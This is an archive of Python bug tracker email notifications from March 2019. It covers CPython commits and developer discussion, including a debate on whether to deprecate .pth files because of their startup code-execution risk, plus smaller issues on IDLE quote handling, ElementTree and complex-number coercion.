Message-ID: <1551978527.62.0.629729851289.issue36216@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset e37ef41289b77e0f0bb9a6aedb0360664c55bdd5 by Steve Dower in branch '2.7':
bpo-36216: Add check for characters in netloc that normalize to separators (GH-12201)
https://github.com/python/cpython/commit/e37ef41289b77e0f0bb9a6aedb0360664c55bdd5


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Thu Mar  7 12:09:17 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 17:09:17 +0000
Subject: [issue36108] Avoid failing the build on race condition in clean
In-Reply-To: <1551123172.45.0.629021519376.issue36108@roundup.psfhosted.org>
Message-ID: <1551978557.56.0.648786322289.issue36108@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset 2f8f56499c20af70ff5037fdbc5d738e56d9eab0 by Steve Dower in branch 'master':
bpo-36108: Avoid failing the build on race condition in clean (GH-12217)
https://github.com/python/cpython/commit/2f8f56499c20af70ff5037fdbc5d738e56d9eab0


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36108>
_______________________________________

From report at bugs.python.org  Thu Mar  7 12:09:30 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 07 Mar 2019 17:09:30 +0000
Subject: [issue36108] Avoid failing the build on race condition in clean
In-Reply-To: <1551123172.45.0.629021519376.issue36108@roundup.psfhosted.org>
Message-ID: <1551978570.27.0.387900520727.issue36108@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12209

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36108>
_______________________________________

From report at bugs.python.org  Thu Mar  7 12:13:12 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 17:13:12 +0000
Subject: [issue36108] Avoid failing the build on race condition in clean
In-Reply-To: <1551123172.45.0.629021519376.issue36108@roundup.psfhosted.org>
Message-ID: <1551978792.88.0.981533664049.issue36108@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36108>
_______________________________________

From report at bugs.python.org  Thu Mar  7 12:27:44 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 17:27:44 +0000
Subject: [issue35978] test_venv fails in Travis with GCC
In-Reply-To: <1549993072.6.0.794740252515.issue35978@roundup.psfhosted.org>
Message-ID: <1551979664.57.0.132880799607.issue35978@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
keywords: +patch
pull_requests: +12210
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35978>
_______________________________________

From report at bugs.python.org  Thu Mar  7 12:29:54 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 17:29:54 +0000
Subject: [issue8075] Windows (Vista/7) install error when choosing to compile
 .py files
In-Reply-To: <1267832622.74.0.429526645693.issue8075@psf.upfronthosting.co.za>
Message-ID: <1551979794.31.0.211823637237.issue8075@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> out of date
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8075>
_______________________________________

From report at bugs.python.org  Thu Mar  7 12:32:09 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Thu, 07 Mar 2019 17:32:09 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551979929.48.0.0677026334069.issue33944@roundup.psfhosted.org>


Anthony Sottile <asottile at umich.edu> added the comment:

> What I'm dismissing is that "pip install some-package" can define a global startup task for your interpreter. I shouldn't get debugging or code coverage enabled every time I run "python" just because I installed some package

At least for the coverage tools they all play nice and require an environment variable to be set for them to take.  For example, `coverage-enable-subprocess` requires `COVERAGE_PROCESS_START=...` in order to start: https://github.com/bukzor/coverage_enable_subprocess/blob/9a0f4df99f0d008eba305c673dfae4269c6c5642/setup.py#L14

> I should have to start that package somehow.

`pip install` is a pretty good opt-in already imo

> Instead of just shipping "my_module.foo", you ship "my_module.py" and "_my_module.foo", where "my_module.py" looks like:

but that's exactly my point, now you have to ship extra junk python files when it's a way better experience to have the hooks _just work_

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 12:44:56 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 07 Mar 2019 17:44:56 +0000
Subject: [issue36108] Avoid failing the build on race condition in clean
In-Reply-To: <1551123172.45.0.629021519376.issue36108@roundup.psfhosted.org>
Message-ID: <1551980696.49.0.686384690206.issue36108@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 34b398559fc47745473a39313a9e2ec17fe1d9ad by Miss Islington (bot) in branch '3.7':
bpo-36108: Avoid failing the build on race condition in clean (GH-12217)
https://github.com/python/cpython/commit/34b398559fc47745473a39313a9e2ec17fe1d9ad


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36108>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:03:03 2019
From: report at bugs.python.org (Barry A. Warsaw)
Date: Thu, 07 Mar 2019 18:03:03 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1551973136.09.0.645335062096.issue33944@roundup.psfhosted.org>
Message-ID: <1A8BD07C-3780-435D-B784-5F628EDA1253@python.org>


Barry A. Warsaw <barry at python.org> added the comment:

On Mar 7, 2019, at 07:38, Steve Dower <report at bugs.python.org> wrote:
> 
> Steve Dower <steve.dower at python.org> added the comment:
> 
> There are two features here, let's be clear about what we're removing.
> 
> * extending sys.path with static (perhaps relative) directories
> * arbitrary code execution (following "import " statements)
> 
> Only Barry wants to remove the first one, and the rest of us will push back hard enough to keep him in check ;)

Not true!  I?m okay with keeping the path extension feature, albeit with improvements:

* Loading of .pth files and path extension should be expressed in verbose (`python -v`) output
* It should be possible to much more easily debug .pth file loading (I believe there is a PR for this but
  I haven?t had time to look at it yet)
* It should be possible to prevent .pth file loading, likely via interpreter switch or environment
  variable, akin to -s/-S

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:13:43 2019
From: report at bugs.python.org (Barry A. Warsaw)
Date: Thu, 07 Mar 2019 18:13:43 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1551979929.48.0.0677026334069.issue33944@roundup.psfhosted.org>
Message-ID: <81DEDAAE-C0DE-46B4-BECD-83B66D740B2C@python.org>


Barry A. Warsaw <barry at python.org> added the comment:

On Mar 7, 2019, at 09:32, Anthony Sottile <report at bugs.python.org> wrote:
> 
>> I should have to start that package somehow.
> 
> `pip install` is a pretty good opt-in already imo

Except that it conflates responsibilities.  I may not want to opt into coverage even being loaded in my application because I?m not going to use it and it has a negative impact on my application?s start up time.  Yet because you?re on the same machine and you pip installed it, I have no choice but to pay those costs, which I haven?t explicitly opted in to.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:20:25 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 07 Mar 2019 18:20:25 +0000
Subject: [issue36140] An incorrect check in _msi.c's
 msidb_getsummaryinformation()
In-Reply-To: <1551292686.09.0.0441775599344.issue36140@roundup.psfhosted.org>
Message-ID: <1551982825.67.0.280709038042.issue36140@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12211

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36140>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:20:32 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 07 Mar 2019 18:20:32 +0000
Subject: [issue36140] An incorrect check in _msi.c's
 msidb_getsummaryinformation()
In-Reply-To: <1551292686.09.0.0441775599344.issue36140@roundup.psfhosted.org>
Message-ID: <1551982832.77.0.556666755973.issue36140@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12212

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36140>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:20:34 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 18:20:34 +0000
Subject: [issue36140] An incorrect check in _msi.c's
 msidb_getsummaryinformation()
In-Reply-To: <1551292686.09.0.0441775599344.issue36140@roundup.psfhosted.org>
Message-ID: <1551982834.18.0.756636152173.issue36140@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset bf94cc7b496a379e1f604aa2e4080bb70ca4020e by Steve Dower (Zackery Spytz) in branch 'master':
bpo-36140: Fix an incorrect check in msidb_getsummaryinformation() (GH-12074)
https://github.com/python/cpython/commit/bf94cc7b496a379e1f604aa2e4080bb70ca4020e


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36140>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:21:38 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 18:21:38 +0000
Subject: [issue36140] An incorrect check in _msi.c's
 msidb_getsummaryinformation()
In-Reply-To: <1551292686.09.0.0441775599344.issue36140@roundup.psfhosted.org>
Message-ID: <1551982898.71.0.730063098178.issue36140@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Thanks for the patch! Once the backports merge, I (or someone else) will close the issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36140>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:22:29 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Thu, 07 Mar 2019 18:22:29 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551982949.8.0.116257886202.issue33944@roundup.psfhosted.org>


Anthony Sottile <asottile at umich.edu> added the comment:

>>> I should have to start that package somehow.
>> 
>> `pip install` is a pretty good opt-in already imo
>
> Except that it conflates responsibilities.  I may not want to opt into coverage even being loaded in my application because I?m not going to use it and it has a negative impact on my application?s start up time.  Yet because you?re on the same machine and you pip installed it, I have no choice but to pay those costs, which I haven?t explicitly opted in to.

At least for the coverage plugins there is a required opt in from environment variable (as shown above).  Though the startup cost is a good point.  Perhaps I'm of the minority but I use virtualenvs for everything so I haven't even been considering the system python.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:31:25 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 18:31:25 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1551983485.75.0.710137124693.issue36216@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
pull_requests: +12213

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:34:38 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 18:34:38 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1551983678.73.0.582011844492.issue36216@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
pull_requests: +12214

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:37:07 2019
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 07 Mar 2019 18:37:07 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1551982949.8.0.116257886202.issue33944@roundup.psfhosted.org>
Message-ID: <CAP1=2W7v3nyxC3h5rWpC3j4SO3GVCdk8cKYNpANVTPzqOABPDA@mail.gmail.com>


Brett Cannon <brett at python.org> added the comment:

RE: " So basically you'd remove the whole feature just cause one package no
one installs abuses it. Doesn't make sense."

No, the point being made is *at least* one package that was found on PyPI
is abusing it, so it exists and we need to consider the possibility others
are also abusing the feature.

On Thu, Mar 7, 2019 at 10:22 AM Anthony Sottile <report at bugs.python.org>
wrote:

>
> Anthony Sottile <asottile at umich.edu> added the comment:
>
> >>> I should have to start that package somehow.
> >>
> >> `pip install` is a pretty good opt-in already imo
> >
> > Except that it conflates responsibilities.  I may not want to opt into
> coverage even being loaded in my application because I?m not going to use
> it and it has a negative impact on my application?s start up time.  Yet
> because you?re on the same machine and you pip installed it, I have no
> choice but to pay those costs, which I haven?t explicitly opted in to.
>
> At least for the coverage plugins there is a required opt in from
> environment variable (as shown above).

For the ones you know about. Dealing with abuse of functionality isn't
about what common practice is, but what a bad actor may do.

> Though the startup cost is a good point.  Perhaps I'm of the minority but
> I use virtualenvs for everything so I haven't even been considering the
> system python.
>

Trust me, from my perspective of the Python extension for VS Code you
cannot ignore system installs.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:39:46 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 07 Mar 2019 18:39:46 +0000
Subject: [issue36140] An incorrect check in _msi.c's
 msidb_getsummaryinformation()
In-Reply-To: <1551292686.09.0.0441775599344.issue36140@roundup.psfhosted.org>
Message-ID: <1551983986.67.0.224807291666.issue36140@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 6ba95c38c556ad4d254c5af34f439a1307ed585c by Miss Islington (bot) in branch '3.7':
bpo-36140: Fix an incorrect check in msidb_getsummaryinformation() (GH-12074)
https://github.com/python/cpython/commit/6ba95c38c556ad4d254c5af34f439a1307ed585c


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36140>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:46:16 2019
From: report at bugs.python.org (=?utf-8?q?Ionel_Cristian_M=C4=83rie=C8=99?=)
Date: Thu, 07 Mar 2019 18:46:16 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <CAP1=2W7v3nyxC3h5rWpC3j4SO3GVCdk8cKYNpANVTPzqOABPDA@mail.gmail.com>
Message-ID: <CANkHFr8Xe0vweiDF9NfykN8NKqpZXfRqCSoyv1rPE2=C8WhEpA@mail.gmail.com>


Ionel Cristian M?rie? <contact at ionelmc.ro> added the comment:

> because you?re on the same machine and you pip installed it, I have no
> choice but to pay those costs, which I haven?t explicitly opted in to.
>
> At least for the coverage plugins there is a required opt in from
> environment variable (as shown above).

There's a simple `if 'COVSOMETHING' in os.environ` check to activate it.
That can't cost a significant amount of time. This is rather another bad
actor argument.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:49:18 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 07 Mar 2019 18:49:18 +0000
Subject: [issue36140] An incorrect check in _msi.c's
 msidb_getsummaryinformation()
In-Reply-To: <1551292686.09.0.0441775599344.issue36140@roundup.psfhosted.org>
Message-ID: <1551984558.99.0.0662612568517.issue36140@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset b19943ec97b80db97dd93ed714615f757cc12ad3 by Miss Islington (bot) in branch '2.7':
bpo-36140: Fix an incorrect check in msidb_getsummaryinformation() (GH-12074)
https://github.com/python/cpython/commit/b19943ec97b80db97dd93ed714615f757cc12ad3


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36140>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:50:51 2019
From: report at bugs.python.org (Barry A. Warsaw)
Date: Thu, 07 Mar 2019 18:50:51 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <CANkHFr8Xe0vweiDF9NfykN8NKqpZXfRqCSoyv1rPE2=C8WhEpA@mail.gmail.com>
Message-ID: <2928BB3C-3E22-45AC-8CA7-A9CB35F99DC4@python.org>


Barry A. Warsaw <barry at python.org> added the comment:

On Mar 7, 2019, at 10:46, Ionel Cristian M?rie? <report at bugs.python.org> wrote:
> 
> There's a simple `if 'COVSOMETHING' in os.environ` check to activate it.
> That can't cost a significant amount of time. This is rather another bad
> actor argument.

You?re overlooking the significant cost of loading the module that does the check in the first place.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:52:33 2019
From: report at bugs.python.org (=?utf-8?q?Ionel_Cristian_M=C4=83rie=C8=99?=)
Date: Thu, 07 Mar 2019 18:52:33 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <2928BB3C-3E22-45AC-8CA7-A9CB35F99DC4@python.org>
Message-ID: <CANkHFr8JqWV_Np7SOtzW_PGdaEHKE2U-WmnCQZza3=4PpdEg0g@mail.gmail.com>


Ionel Cristian M?rie? <contact at ionelmc.ro> added the comment:

What module? That check should be done directly in the pth file.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 13:57:14 2019
From: report at bugs.python.org (=?utf-8?q?Bernt_R=C3=B8skar_Brenna?=)
Date: Thu, 07 Mar 2019 18:57:14 +0000
Subject: [issue36227] Add default_namespace argument to
 xml.etree.ElementTree.tostring()
Message-ID: <1551985034.23.0.477389977226.issue36227@roundup.psfhosted.org>


New submission from Bernt R?skar Brenna <bernt.brenna at gmail.com>:

default_namespace is often used when serializing ET elements. tostring() is mainly a wrapper around ElementTree.write(), and it is therefore natural that it mirrors write's argument. tostring() already passes encoding, method and short_empty_elements to write.

----------
components: Library (Lib)
messages: 337428
nosy: Bernt.R?skar.Brenna
priority: normal
severity: normal
status: open
title: Add default_namespace argument to xml.etree.ElementTree.tostring()
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36227>
_______________________________________

From report at bugs.python.org  Thu Mar  7 14:07:12 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 07 Mar 2019 19:07:12 +0000
Subject: [issue36219] Add edit option in IDLE to convert smart quotes to ascii
 quotes
In-Reply-To: <1551917403.61.0.29942545482.issue36219@roundup.psfhosted.org>
Message-ID: <1551985632.65.0.795998256578.issue36219@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Would it be worthwhile to automatically convert the text when it's being pasted or would there be a scenario where it would be desirable to keep these characters in the text?  It seems the point here is that the user wouldn't even realize that the quotes (or dashes) being copied aren't the right ones and they would have to learn to take the extra step of formatting the text.  That seems annoying, so maybe automatic conversion would eliminate that?

For the menu option route, in the editor there is an additional 'Format' menu which has some text manipulation options, but the Shell doesn't have this menu available.  There isn't any formatting options on the 'Edit' menu currently.  Would it be better to add a 'Format' menu to the Shell or have this on the 'Edit' menu (which is already getting long)?

For the actual text conversion, I pasted some smart quotes on Windows and it pasted as \u2018\u2018 (two single left quotations marks) and \u2019\u2019 (two single right quotation marks) instead of \u201C (double left) and \u201D (double right). \u0060 (grave accent) and \u00B4 (acute accent) also seem to be possible values that are used for quotes, although converting them automatically may be more problematic.

I think for starters the idea would be:
text.replace('\u2018\u2018', '"')  
text.replace('\u2019\u2019', '"')  
text.replace('\u2018, "'")
text.replace('\u2019, "'")
text.replace('\u201C, '"')
text.replace('\u201D, '"')

The dash may be more complicated since there are more of them.  Unless the category could be used.

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36219>
_______________________________________

From report at bugs.python.org  Thu Mar  7 14:10:22 2019
From: report at bugs.python.org (=?utf-8?q?Bernt_R=C3=B8skar_Brenna?=)
Date: Thu, 07 Mar 2019 19:10:22 +0000
Subject: [issue36227] Add default_namespace argument to
 xml.etree.ElementTree.tostring()
In-Reply-To: <1551985034.23.0.477389977226.issue36227@roundup.psfhosted.org>
Message-ID: <1551985822.97.0.238177479189.issue36227@roundup.psfhosted.org>


Change by Bernt R?skar Brenna <bernt.brenna at gmail.com>:


----------
keywords: +patch
pull_requests: +12215
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36227>
_______________________________________

From report at bugs.python.org  Thu Mar  7 14:31:09 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 19:31:09 +0000
Subject: [issue36140] An incorrect check in _msi.c's
 msidb_getsummaryinformation()
In-Reply-To: <1551292686.09.0.0441775599344.issue36140@roundup.psfhosted.org>
Message-ID: <1551987069.11.0.972188741351.issue36140@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36140>
_______________________________________

From report at bugs.python.org  Thu Mar  7 14:39:53 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 19:39:53 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551987593.18.0.753645426191.issue33944@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Nonetheless, it's still something that we could support better. If telling someone to set PYTHONSTARTUP is too hard, then we can design another way that can work well without relying on a barely documented (mis)feature.

As one idea, we could add a way to register new -X options that would translate into an import/function call after doing site, which then means you could do "python -X coverage ..." and if you don't then you don't get code injected at all, regardless of bugs in any libraries you've installed.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 15:16:45 2019
From: report at bugs.python.org (paul j3)
Date: Thu, 07 Mar 2019 20:16:45 +0000
Subject: [issue36078] argparse: positional with type=int,
 default=SUPPRESS raise ValueError
In-Reply-To: <1550845114.74.0.376208054151.issue36078@roundup.psfhosted.org>
Message-ID: <1551989805.93.0.620017855053.issue36078@roundup.psfhosted.org>


Change by paul j3 <ajipanca at gmail.com>:


----------
priority: normal -> high

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36078>
_______________________________________

From report at bugs.python.org  Thu Mar  7 15:21:17 2019
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0LDRgiDQndCw0LPQsNC10LI=?=)
Date: Thu, 07 Mar 2019 20:21:17 +0000
Subject: [issue36228] Add function to complex objectf
Message-ID: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>


New submission from ????? ?????? <sidorovmarat1995 at gmail.com>:

I think complex object should have methods __float__ (returns real part) and __int__ (returns int(real)).
Also I think we need floor and ceil methods om cmath module.
I think, these functions are useful.

----------
components: Extension Modules, Library (Lib)
messages: 337431
nosy: nagayev
priority: normal
severity: normal
status: open
title: Add function to complex objectf
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Thu Mar  7 15:22:02 2019
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0LDRgiDQndCw0LPQsNC10LI=?=)
Date: Thu, 07 Mar 2019 20:22:02 +0000
Subject: [issue36228] Add function to complex object
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1551990122.38.0.232131546363.issue36228@roundup.psfhosted.org>


Change by ????? ?????? <sidorovmarat1995 at gmail.com>:


----------
title: Add function to complex objectf -> Add function to complex object

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Thu Mar  7 15:34:00 2019
From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=)
Date: Thu, 07 Mar 2019 20:34:00 +0000
Subject: [issue30831] Inconsistent or wrong documentation around Asynchronous
 Context Manager
In-Reply-To: <1499069619.82.0.462830851571.issue30831@psf.upfronthosting.co.za>
Message-ID: <1551990840.96.0.39618853292.issue30831@roundup.psfhosted.org>


Change by Andr?s Delfino <adelfino at gmail.com>:


----------
nosy: +adelfino, yselivanov
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30831>
_______________________________________

From report at bugs.python.org  Thu Mar  7 15:38:15 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 07 Mar 2019 20:38:15 +0000
Subject: [issue35975] Put back the ability to parse files where async/await
 aren't keywords
In-Reply-To: <1549931018.54.0.209945896308.issue35975@roundup.psfhosted.org>
Message-ID: <1551991095.47.0.521686034061.issue35975@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 495da292255b92dd73758fdd0e4c7d27d82b1e57 by Miss Islington (bot) (Guido van Rossum) in branch 'master':
bpo-35975: Support parsing earlier minor versions of Python 3 (GH-12086)
https://github.com/python/cpython/commit/495da292255b92dd73758fdd0e4c7d27d82b1e57


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35975>
_______________________________________

From report at bugs.python.org  Thu Mar  7 15:42:44 2019
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 07 Mar 2019 20:42:44 +0000
Subject: [issue30831] Inconsistent or wrong documentation around Asynchronous
 Context Manager
In-Reply-To: <1499069619.82.0.462830851571.issue30831@psf.upfronthosting.co.za>
Message-ID: <1551991364.45.0.383274671147.issue30831@roundup.psfhosted.org>


Yury Selivanov <yselivanov at gmail.com> added the comment:

There's no inconsistency here and the docs are correct.

If you have a function:

  async def foo():
    pass

Then "foo()" call returns a "coroutine", which is an awaitable.  So

  async def __aenter__():
    ...

always returns an awaitable (regardless if there's a return statement or not).


> On the other hand, actual CPython implementation won't do that; it won't await the returned objects.

If always does await the returned object.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30831>
_______________________________________

From report at bugs.python.org  Thu Mar  7 15:46:05 2019
From: report at bugs.python.org (Eric V. Smith)
Date: Thu, 07 Mar 2019 20:46:05 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551991565.92.0.403387122952.issue33944@roundup.psfhosted.org>


Eric V. Smith <eric at trueblade.com> added the comment:

>> I should have to start that package somehow.
>
> `pip install` is a pretty good opt-in already imo

I think that?s where we disagree. Like others, I don?t want this to affect every python script in a given installation. 

>> Instead of just shipping "my_module.foo", you ship "my_module.py" and "_my_module.foo", where "my_module.py" looks like:
>
> but that's exactly my point, now you have to ship extra junk python files when it's a way better experience to have the hooks _just work_


You mean extra junk like .pth files? I don?t see the difference between a .py file and a .pth file, except I can?t opt out of .pth files. 

We?re just looking for some way to control the behavior, without giving the .pth file unlimited capabilities before the user script starts. If it?s ?just? some extra .py files, then maybe that?s great. If we need some other new mechanism, then I?d be okay with that, too.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 15:46:30 2019
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 07 Mar 2019 20:46:30 +0000
Subject: [issue30831] Inconsistent or wrong documentation around Asynchronous
 Context Manager
In-Reply-To: <1499069619.82.0.462830851571.issue30831@psf.upfronthosting.co.za>
Message-ID: <1551991590.82.0.183658109803.issue30831@roundup.psfhosted.org>


Yury Selivanov <yselivanov at gmail.com> added the comment:

I also recommend reading this page https://docs.python.org/3/library/asyncio-task.html to get a better grasp on coroutines and how they are evaluated.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30831>
_______________________________________

From report at bugs.python.org  Thu Mar  7 16:01:02 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Thu, 07 Mar 2019 21:01:02 +0000
Subject: [issue36228] Add function to complex object
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1551992462.95.0.686079033563.issue36228@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

They already have a .real attribute to extract the real part, which you can call int on. I suspect the lack of support for float/int coercion is intentional; coercing float to int loses precision, but it's still a fundamentally similar value. Implicitly dropping the imaginary component of a complex number isn't just losing precision, it's fundamentally altering the value (in a way that isn't necessarily obvious).

Similarly, there is no meaningful concept of floor/ceil for complex ( https://math.stackexchange.com/q/2095674/332927 ), so implementing it would involve the same data loss as float/int coercion.

complex numbers are complex, and silently ignoring that just makes it easier to write incorrect code. People can do whatever they want with .real explicitly, but we shouldn't be helping them make mistakes.

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Thu Mar  7 16:01:35 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Thu, 07 Mar 2019 21:01:35 +0000
Subject: [issue36228] Support coercion of complex to float/int
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
